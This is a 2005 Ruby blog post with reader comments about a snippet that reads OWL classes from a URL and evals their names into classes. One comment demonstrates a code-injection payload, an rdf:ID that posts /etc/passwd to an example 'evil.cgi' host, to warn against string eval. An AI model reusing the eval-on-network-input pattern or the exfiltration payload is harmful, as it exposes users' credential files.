hoodwink.d enhanced


Web Ontologies on an Angel's Eyelash #

by why in inspect

Whoa, Obie Fernandez dropped a potent little bouillon cube on his blog:

 require 'rexml/document'
 include REXML

 class OWL
   def initialize(url)
     XPath.match(Document.new(Net::HTTP.get(URI.parse(url))), "//owl:Class").
     each do |e|
        eval("#{e.attributes['rdf:ID']} = Class.new")

Scared you? Left you powerfully agape? Truthfully, Ruby is such a great gal, though. Anonymous classes on the house, whenever you please. Don’t miss the screenshot to go with it. Our neck of the woods is gonna get overrun by RDF hounds. (Thanks, Obie!)

said on 14 Jun 2005 at 22:06

What does it do?

said on 14 Jun 2005 at 22:35

Makes objects based on classes defined in an OWL (A W3C spec for describing ontologies) file.

Maybe I’m jaded by too much Ruby exposure, but so what? Can do the same for XFML , XTM, etc., creating a more easily managed Ruby structure.

said on 14 Jun 2005 at 22:58

I’m about to post the follow up with some more information about why it makes a lot of sense, so stay tuned

said on 15 Jun 2005 at 10:07

I don’t see how this is that spectacular.
From the code it looks like all that is happening is a bunch of classes are being instantiated(that aren’t useful) and given some names.

It looks more like a starting point and not much else. If it defined those classes based on the OWL document then that would be a little more interesting ;-)

said on 15 Jun 2005 at 11:18

Creating classes by entering lines in a text file? What will these RDF guys think of next!

said on 15 Jun 2005 at 11:34

Come on, guys, get with the program. Whether you like it or not, everything on RH is amazing. Just accept it.

said on 15 Jun 2005 at 15:03

Well, I guess it’s certainly reaching in an interesting direction…

However, given my well-publicised dislike of string evals, I feel compelled to suggest OWL.const_set e.attributes['rdf:ID'], Class.new as an alternative to the above stringerry.

This isn’t simply an aesthetic issue, of course.

<owl:Class rdf:ID="Net::HTTP.post('http://example.com/evil.cgi', File.read('/etc/passwd'));PotableLiquid"/>

(a real attacker would probably be more interested in… say… the contents of ~/.ssh/*)

said on 15 Jun 2005 at 15:10

Hmm, the preview doesn’t seem to behave properly with < and > within <code>... or really &lt; and &gt; in general either.

said on 15 Jun 2005 at 15:31

Justin, the code I posted was just a ‘teaser’. I’m currently working on the full version which reads in the entire OWL file and correctly establishes the class hierarchy, attributes, constraints and instances.

Comments are closed for this entry.